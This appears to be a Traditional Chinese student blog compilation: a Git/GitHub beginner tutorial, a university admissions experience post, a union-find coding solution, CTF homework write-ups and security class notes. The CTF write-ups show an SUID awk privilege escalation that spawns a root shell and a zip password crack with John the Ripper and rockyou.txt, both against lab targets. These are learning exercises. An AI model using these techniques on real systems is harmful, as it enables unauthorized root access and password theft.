在軟體開發的世界裡，版本控制系統是不可或缺的工具，而Git和GitHub則是其中最熱門的選項。無論你是個人開發還是團隊協作，Git和GitHub都能幫助你更有效地管理程式碼及協作開發，甚至為全球頂尖的專案做出貢獻。這篇文章將簡單介紹Git和GitHub的基本概念跟實作，讓新手能快速上手這兩個強大的工具。

Git介紹

什麼是Git

Git是一個免費、開源的分散式版本控制系統，最初由Linux核心的創始人Linus Torvalds所開發。你可以把它想像成程式碼專用的「時光機」與「協作雲端硬碟」，用來追蹤電腦上檔案的變更，並協調多人之間的開發工作。

什麼是版本控制

寫程式的時候，你可能會有許多創新的想法，但不一定每個都能完美運作，如果沒有版本控制，你就需要在每一次嘗試新的想法時，將整個專案備份來避免整個專案崩潰。在單人工作時這聽起來沒什麼，但當團隊協作時，每個人會在不同時間寫出不同程式碼，如果繼續使用上述的備份方法，會造成整個專案難以管理，這才催生出了版本控制的想法。版本控制簡單說就是專案的「歷史紀錄」，它會記錄每一次程式碼的變更，讓你可以隨時回到先前的版本，或是查看誰在什麼時候修改了什麼內容。

Git的優勢

• 記錄歷史變更：git會詳細記錄所有程式碼的變更(包含修改時間，變更內容，更改者)，如果新的程式碼出現嚴重錯誤，你就可以進行「時光倒流」，將程式回歸到先前版本。
• 團隊協作：在團隊開發中，每個人都可以擁有一份完整的專案副本並獨立工作。完成工作後，Git能協助將所有人的程式碼安全地合併在一起，並標註出衝突的地方。
• 多線開發：git可以建立「分支」來開發新功能或修復Bug。在分支上的任何改動都不會影響到主分支，確認分支沒問題後再將其「合併」回主線。

Git的基本術語介紹

1. 核心區塊

   • Working Directory(工作目錄)：你目前正在電腦上編輯檔案的地方。
   • Repository(儲存庫/repo)：儲存所有版本及Git歷史紀錄的資料夾，分為「本地端(local)」(你的電腦)與「遠端 (Remote)」(如 GitHub、GitLab)。
   • Staging Area/Index(暫存區)：當你完成部分修改後，使用 git add 將檔案標記為「準備提交」的區域。

2. 基本操作

   • status(狀態)：查看目前專案的狀態，包含哪些檔案被修改了但還沒加入暫存區，哪些檔案已經加入暫存區但還沒提交。
   • Add(加入)：將修改內容加入暫存區域。
   • Commit(提交)：簡單說就是「存檔」，將暫存區的修改儲存到Git的歷史紀錄。
   • Push(推送)：將本地端的提交(Commit)上傳到遠端儲存庫。
   • Pull(拉取)：從遠端儲存庫下載最新的提交到本地端。
   • Fetch(擷取)：同樣是下載遠端更新，但不會自動合併，讓你先檢查遠端有哪些變動。
   • Clone(複製)：將遠端儲存庫完整複製一份到你的本地端。

3. 分支與合併

   • Branch(分支)：用來開發新功能或修復Bug的獨立線路。
   • Merge(合併)：將分支上的修改整合回主線。
   • Conflict(衝突)：當兩個分支修改了同一行程式碼，Git無法自動決定哪個版本正確，就會產生衝突，需要人工解決。
   • Checkout/Switch(切換)：在不同的分支之間切換，或是將檔案恢復到先前的狀態。

4. 其他重要術語

   • Remote(遠端)：指的是託管在網路上的原始碼版本，通常標籤為origin。
   • Origin(原始碼)：Git預設給遠端儲存庫的名稱。
   • Ignore(.gitignore)：用來指定哪些檔案或資料夾不應該被Git追蹤。

GitHub介紹

什麼是GitHub

Github是一個基於Git的雲端託管平台，提供了版本控制和協作功能，讓開發者可以輕鬆地管理和分享程式碼。它不僅是一個儲存庫，還提供了許多工具來促進團隊合作、問題追蹤、代碼審查等。

Github提供的服務

• 程式碼託管：提供免費和付費的儲存庫空間，讓開發者可以安全地存放和管理程式碼。
• 協作工具：提供Pull Request、Issue、Project等功能，不僅提供團隊成員協作開發，也能讓外部貢獻者參與專案。
• 自動化與 CI/CD：GitHub Actions讓你可以自動化測試、部署等工作流程，提升開發效率。
• 網站託管：GitHub Pages允許你直接從儲存庫中託管靜態網站，適合用來展示專案或個人作品集。
• 社群與開源：GitHub是全球最大的開源社群，開發者可以輕鬆地找到和參與各種開源專案，分享知識和經驗。

GitHub常見術語介紹

• Repository(儲存庫)：GitHub上的專案空間，包含程式碼、文件等內容。
• Issue(議題)：用來追蹤專案中的Bug、也可以提出新功能或建議給開發者。
• Fork(分叉)：將別人的專案複製到自己的帳號下，讓你可以自由修改而不影響原始專案。
• Pull Request(拉取請求)：當你對專案做出修改後，向原始專案提出合併請求，讓維護者審核你的修改。

Git安裝及GitHub註冊

Git安裝

1. Windows：使用winget下載，輸入以下指令:

   winget install --id Git.Git -e --source winget

2. macOS：使用 Xcode 命令列工具安裝，輸入以下指令:

   xcode-select --install

3. Linux：使用包管理器安裝，根據不同的發行版輸入以下指令:
   • Debian/Ubuntu:

     sudo apt-get install git

   • Fedora:

     sudo dnf install git

   • Arch Linux:

     sudo pacman -S git

GitHub註冊

1. 打開瀏覽器，前往GitHub官網。
2. 點擊右上角「Sign up」按鈕，填寫註冊表單。
3. 填寫電子郵件，密碼及使用者名稱，然後點擊「Create account」
4. 根據提示完成人機驗證

創建你的第一個倉庫

1. 登入GitHub後，點擊右上角的「Create repository」。
2. 填寫倉庫名稱，填寫倉庫描述(可選)，選擇倉庫為公開(Public)或私有(Private)，並選擇是否創建README檔案和.gitignore檔案。
3. 前往你本地上的專案，首先建立.gitignore檔案，將不需要被Git追蹤的檔案或資料夾加入其中，例如：

   # 忽略虛擬環境資料夾 venv/ # 忽略編譯產生的檔案 __pycache__/ *.pyc # 忽略敏感資訊檔案 config.json # 忽略環境變數檔案 .env

4. 在終端機中進入專案資料夾，使用以下指令將專案上傳到GitHub：

   # 初始化Git倉庫 git init # 查看目前專案的狀態 git status # 將所有檔案加入暫存區 git add . # 提交修改，並添加提交訊息 git commit -m "Initial commit" # 將預設分支名稱改為main git branch -M main # 將本地倉庫與GitHub倉庫連結 git remote add origin https://github.com/你的帳號/倉庫名稱.git # 將本地提交推送到GitHub倉庫 git push -u origin main

5. 現在你應該可以在GitHub上看到你的專案了

在github上協作

Fork(分叉)

當你想要參與一個專案的開發，但沒有寫入權限時，可以使用Fork功能。Fork會在你的GitHub帳號下創建一個原始專案的副本，讓你可以自由地修改和提交更改，而不會影響到原始專案。

如何使用Fork

1. 前往你想要參與的專案頁面。
2. 點擊右上角的「Fork」按鈕，GitHub會自動在你的帳號下創建一個副本。
3. 在你的帳號下找到剛剛Fork的專案，點擊進入。
4. 使用Git將Fork的專案Clone到你的本地端：

   git clone https://github.com/你的帳號/倉庫名稱.git

5. 在本地端進行修改，完成後提交更改：

   git add . git commit -m "你的提交訊息"

6. 將修改推送到你的Fork專案：

   git push origin main

7. 回到原始專案頁面，點擊「New pull request」按鈕，選擇你的Fork專案和分支，然後提交Pull Request，等待原始專案的維護者審核和合併。

Pull Request(所以我說PR到底應該怎麼翻譯)

Pull Request是GitHub上的一個功能，允許開發者在Fork的專案中進行修改後，向原始專案提出合併請求。維護者可以審核你的修改，並決定是否將其合併到原始專案中。

如何進行Pull Request

1. 在你完成你對Fork專案的修改並推送到GitHub後，前往原始專案頁面。
2. 點擊「New pull request」按鈕。
3. 在「Compare changes」頁面，選擇你的Fork專案和分支，GitHub會自動比較你的修改與原始專案的差異。
4. 確認修改內容無誤後，點擊「Create pull request」。
5. 填寫Pull Request的標題和描述，說明你所做的修改和為什麼需要這些修改。
6. 點擊「Create pull request」提交你的請求，等待原始專案的維護者審核和合併。

結語

以上是一些基本的Git和GitHub觀念跟操作，當然這只是冰山一角，Git和Github還有很多進階的使用技巧及服務(如GitHub Actions、GitHub Pages等)，如果有時間的話考慮再寫個GitHub Pages部屬?
如果新手對指令感到眼花撩亂，現在有很多圖形化的Git工具(如GitHub Desktop、Sourcetree、甚至是VSCode內建的Git功能)，都很推薦新手可以使用。

首先，我很菜，但我還是想分享我的經驗供後人參考。

特選動機

我是高一第一次接觸程式（當時學的 Python），花了大概一年奠定基礎，高二上考到 APCS 43，當時是看到學長特上成大，加上自己那個沒救的成績，才決定要開始準備特選。我個人是非常不推薦各位模仿我到高二下才決定要開始準備特選（甚至是 all in），我今天能上高大真的是運氣好，不然大概是會沒學校的（我很多間都備取超後面）。
然後我會下定決心特選是因為我看到了這篇文章，因為我的經歷跟他真的太像了，所以我才下定決心放手一搏。

個人經歷

• APCS 觀念 4 / 實作 3
• 參加資訊學科能力競賽複賽（就真的只有參加）
• 電腦研究社社長兼教學
• CPE 2 題
• scist2025寒訓 隊輔組
• 很多亂七八糟的專案（DC 機器人，YT 影片下載器，這兩個是我有放到書審的）
• 一張 Google 資安證書

報名的學校及結果

• 高雄大學 資工 備 4（備上了）
• 逢甲大學 資工 備 18(備上了)
• 淡江大學 資工 備 15
• 嘉義大學 資工 備 7(備上了)
• 元智大學 資工 備 14(備上了)

然後中字以上的一階都被刷了，只有成大上機考有去而已。

面試心得

面試每一間基本都差不多，基本上就是進去自我介紹然後問答時間。我這邊簡單分享高大面試過程跟我的面試心得。

高大面試

高大是一對三面試，進去之後有三位教授，桌子上放著三張寫著問題的板子（自我介紹，個人經歷，讀書計畫），一開始會先讓大家自我介紹，這時候就順順的把你的自介念完就好，教授可能會在你自介念完之後問你自介相關的問題，所以自介要好好寫。

接下來是個人經歷的部份，就把你最好最有自信的經驗講出來，我當時是講 APCS 43，CPE 兩題，還有學科能力競賽。當下是想讓教授問我程式經驗的部分，但我沒想到教授會誇我程式能力不錯，這是有點嚇到我了。要注意這個部分教授不會讓你把你的經歷講完，所以記得把你最有自信的經驗拿出來講，不然被問了講不出來就很尷尬，像我右邊那位講的是科展的部分，結果教授問他程式的部分他回答不出來。

最後是讀書計畫，這部分我們這組因為有人在拖時間的關係沒有問答到，我就簡單地把我接下來半年要參加的活動，以及上大學及研究所之後的規劃講出來，教授聽完也沒多問什麼。

面試心得

面試最重要的就是要有自信，念自介的時候不能抖，然後教授問妳問題的時候如果回答不上來不要緊張，就跟教授說自己這部分沒有研究的很深入就好。當然最好是不要遇到這種情況比較好，所以模擬面試很重要（雖然我都沒去）。

服裝的部分我個人是沒有特別穿西裝，一件資工襯衫配白衣服跟長褲而已。我跟我朋友是都沒特別穿得很正式，人看起來乾淨整潔就好，重點還是你有沒有料（我就是那個沒料還不打扮的）。

心路歷程

正式開始準備特選大概是九月初，特選最重要的就是備審跟面試，接下來我會分享這兩部分的心得。

備審

備審的部分是很花時間的，特選的書審繳交期限普遍落在 10 月到 11 月，因此建議 9 月中就要開始準備，最晚 9 月底要開始，因為備審會遇到的問題比你想像的要多很多。

首先你要從 0 開始生出一份履歷就很花時間了，接下來你還要針對每個部份的用詞作微調，這部分建議要找別人幫忙，可以找比較熟的老師幫你看看，請他們給你建議，也可以去找學長姐或同學幫你看看。然後整份備審砍掉重來是很常見的事，我前前後後光是自介就改了五六次，然後又把整份重寫了一次，前前後後大概花了一個月。

面試準備

面試的部分我個人是沒有準備，但我還是推薦不管你今天是特選還是個申，只要有面試的環節都要參加模擬面試，除了提前預測一下大概會被問到什麼，也可以幫助你習慣面試當下的情況。我原本以為以我跑活動的經驗，進去跟教授聊天應該是還好，結果是我台南面試進去抖到一個靠杯，所以模擬面試真的很重要。

結語

以上就是我這個菜雞的特選心得分享，特殊選材是一個很需要實力的東西，你需要在高中三年累積經驗跟實力，如果只是學測生想碰運氣看能不能提前上岸的話，那我會建議你別浪費錢，特選報名費一間大概在 800-1200，報個十間就要破萬了。當然如果你有錢也是可以廣撒網，把除了頂大之外的大學全部報一報，稍微有點東西的話上個地名大學還是不難的。

最後來推廣一下特選群，這是一個每年都會有的 Discord 群組，裡面會有很多特選的前輩，也提供交換備審跟心得彙整，都不需要的話進去跟其他特選生聊聊天也是可以的。

題目分析

班上共有編號 0 到 n−1 的同學，並給定 k 組朋友關係 (a, b)。由於題目規定「朋友的朋友」也視為同一小團體，因此可利用並查集 (Disjoint Set) 來進行群組合併與查詢。

並查集 (Disjoint Set)

並查集是一種資料結構，用於維護不相交集合。主要由兩個操作組成：

Find(x) — 尋找所屬集合的根節點

若 x 不是自己的父節點，會將路徑壓縮，使樹更扁平，提高效率。

def find(self, a):
    if self.parent[a] != a:
        self.parent[a] = self.find(self.parent[a])  # 路徑壓縮
    return self.parent[a]

Union(a, b) — 合併 a 與 b 所屬的集合

為避免退化成鏈狀樹，合併時會按大小合併，小樹掛到大樹下，使樹維持高度較小。

def union(self, a, b):
    ra = self.find(a)
    rb = self.find(b)
    if ra == rb:
        return
    if self.size[ra] < self.size[rb]:
        self.parent[ra] = rb
        self.size[rb] += self.size[ra]
    else:
        self.parent[rb] = ra
        self.size[ra] += self.size[rb]

解題流程

1. 輸入直到 EOF，對於每一筆測資，建立 DSU，初始化 n 個人，各自為一組
2. 讀入 k 組朋友 (a, b)，呼叫 union(a, b)
3. 所有合併完成後，對每個人 (i = 0 ~ n-1) 呼叫 find(i)，找出每個的根節點並使用 set() 去除重複
4. 輸出 set 長度即是小團體個數

import sys
input = sys.stdin.readline

class DSU:
    def __init__(self, n):
        self.parent = [i for i in range(n)]
        self.size = [1] * n

    def find(self, a):
        
        if self.parent[a] != a:
            self.parent[a] = self.find(self.parent[a])
        return self.parent[a]

    def union(self, a, b):
        ra = self.find(a)
        rb = self.find(b)
        if ra == rb:
            return
        if self.size[ra] < self.size[rb]:
            self.parent[ra] = rb
            self.size[rb] += self.size[ra]
        else:
            self.parent[rb] = ra
            self.size[ra] += self.size[rb]

while True:
    try:
        n, k = map(int, input().split())
    except:
        break

    dsu = DSU(n)
    for _ in range(k):
        a, b = map(int, input().split())
        dsu.union(a, b)
    roots = set()
    for i in range(n):
        roots.add(dsu.find(i))
    print(len(roots))

PPC

Department store anniversary 100

題目要求進行100次買二送一的挑戰。將商品價格排序後，為了讓免費商品價值最大，我們應該總是選擇清單中價格最高的商品來付費，並讓緊隨其後價格第三高的商品作為免費回饋。

from pwn import *

HOST = "210.70.138.221"
PORT = 10007

r = remote(HOST, PORT)

for i in range(100):
    r.recvuntil(b'----- wave ' + str(i+1).encode() + b'/100 -----\n')
    text = r.recvline().decode().strip()
    num_str = text.split(':', 1)[1].strip()
    nums = list(map(int, num_str.split()))
    nums.sort(reverse=True)
    s = sum([nums[j] for j in range(2, len(nums), 3)])
    print(f"[+] Wave {i+1}/100: Answer = {s}")
    r.sendlineafter(b'answer : ', str(s).encode())

print(r.recvall().decode('utf-8'))

r.close() 

執行腳本後，程式會自動完成 100 次挑戰，最終回傳包含 Flag 的訊息。

hsctf{You_got_the_highest_reward!}

Linux

HW0 - Use rev command to read the /flag

題目要求使用 rev 讀取靶機下的檔案，使用兩次 rev 獲得正確的 flag。

┌──(ldn970110㉿LDNsKali)-[~]
└─$ nc 靶機
=== Rev-Only Challenge ===
Flag is in /flag. Find a way to read it.
root@7d99e433d724:/$ rev /flag
}trats_egassem_siht_ver{TSICS
root@7d99e433d724:/$ rev /flag | rev
SCIST{rev_this_message_start}
root@7d99e433d724:/$ 

Flag: SCIST{rev_this_message_start}

HW1 - SUID privilege escalation

連線靶機，獲得了一個低權限的 ctfuser shell：

ctfuser@80f752e94032:~$

尋找系統上具有 SUID 權限的檔案：

ctfuser@80f752e94032:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/gpasswd
... (其他標準 SUID 檔案)
/usr/bin/awkrunner

跳出了一個提示：

Usage: /usr/bin/awkrunner [AWK_PROGRAM] [FILES...]
Note:  Executes /usr/bin/awk with full root privileges.

發現這個 awkrunner 會以 root 執行我所提供的腳本：

/usr/bin/awkrunner 'BEGIN { system("/bin/sh") }'

執行後進入了一個具有 root 權限的 shell，透過這個 shell 執行 /flag：

SCIST{awk_1s_my_pr3f3rr3d_w4y_t0_r00t}

Flag: SCIST{awk_1s_my_pr3f3rr3d_w4y_t0_r00t}

HW2 - zip 密碼破解

題目提供一個加密的 SCIST.zip 檔案，提示密碼存在於 rockyou.txt 字典檔中。Flag 藏在解壓縮後的 PDF 檔案的「作者 (Author)」欄位，並使用 Base64 加密。

使用 John the Ripper 來破解密碼：

┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ zip2john /home/ldn970110/文件/SCIST.zip > /home/ldn970110/文件/scist.hash

接著使用 john 搭配 rockyou.txt 字典檔來破解這個 hash：

┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt /home/ldn970110/文件/scist.hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt /home/ldn970110/文件/scist.hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 114987 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 4.17% (ETA: 16:12:22) 0g/s 125068p/s 125068c/s 125068C/s grass9..blah2007
... (破解中) ...
0g 0:00:00:13 10.48% (ETA: 16:12:27) 0g/s 124215p/s 124215c/s 124215C/s karenkim..jhvguyh
fascist        (SCIST.zip/SCIST.pdf)     
1g 0:00:00:14 DONE (2025-10-28 16:10) 0.06747g/s 123819p/s 123819c/s 123819C/s fish2133..efer05
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

John 成功找到了密碼：fascist

使用密碼解壓或的一個PDF，在作者欄位發現一串亂碼，透過base64解碼得到falg

┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ echo -n "U0NJU1R7ejFwX2NyNGNrM2RfbTN0YV9sM2FrfQ==" | base64 -d
SCIST{z1p_cr4ck3d_m3ta_l3ak}

Flag: SCIST{z1p_cr4ck3d_m3ta_l3ak}

紀錄一下，第一次上資安課有點緊張(?)
希望之後能交到朋友，一起去打比賽(該發祭品了)
然後gpt剛到期了，等去成大上機考前再續(前提是我能去)
vscode括號沒關會被標記紅色，好煩

筆記

剛講到了zeroday，這是一個可以上傳你發現的漏洞的網站，也許之後會有用紀錄一下
開始講CTF是什麼，這讓我想到去年我天真的想在資安0基礎的情況下準備一堂CTF社課(所以我把鳳新電研社放黑歷史)
講到flag格式，沒聽懂，之後應該就熟悉了(吧)。
Jeopardy怎麼念
OsGa英文真好
還有一個半小時才下課但我水快喝完了，完蛋
雖然還有飲料可以喝但我不喜歡喝飲料阿
有人把自己的discord bot token丟到github上
然後怎麼有人在課堂上鞭屍阿，嚴厲譴責
這就不得提到我把我的arch內核搞爆了然後我修不好最後整個洗掉到現在還沒重裝
什麼年代了我還能聽到熊貓燒香這個東西…
講了root跟sudo，sudo就是一個有授權的使用者使用sudo暫時借用root的權限來做事，比較安全且可以追溯是誰幹了哪件事

GUI vs CLI

圖形化介面vs文字輸入介面，圖形介面易用但太慢，對開發者CLI快速且易用(但我菜雞沒有GUI我怎麼活阿)

shell

shell就是使用者與作業系統交互的介面
shell可以做很多事(整活)
開始講指令(ls, cd, mkdir, touch, cat, adduser, deluser)
OsGa:要期中考了自己的心比外面的天氣還涼
依序執行多個指令:ls; pwd; whoami (用;)
一個一個一個(?)執行下去，但前面的成功才執行下一個:mkdir test && cd test (用&&)
前一個指令失敗時才執行下一個:make || echo "Build failed" (用||)
管道(|)將前一個指令的輸出傳給下一個:cat file | grep "keyword"

好多東西我直接複製貼上

• * 匹配任意多個字元（萬用字元）
• ? 匹配單一字元
• ~ 使用者家目錄（home directory）
• $ 變數標示，例如 $USER, $PATH
• # 註解符號（在指令或腳本中忽略該行內容）
• \ 轉義字元，用來避免符號被解讀
• & 將指令放到背景執行 例:python app.py &

講了nano跟vim，反正就是趕緊地去學vim，下次就把你nano ban了

寫了一題，反正就是cat好像被ban了要你用rev去讀檔案然後在rev回來

rev /flag | rev

講了一大堆工具，現在4:57他在飆車完全沒聽懂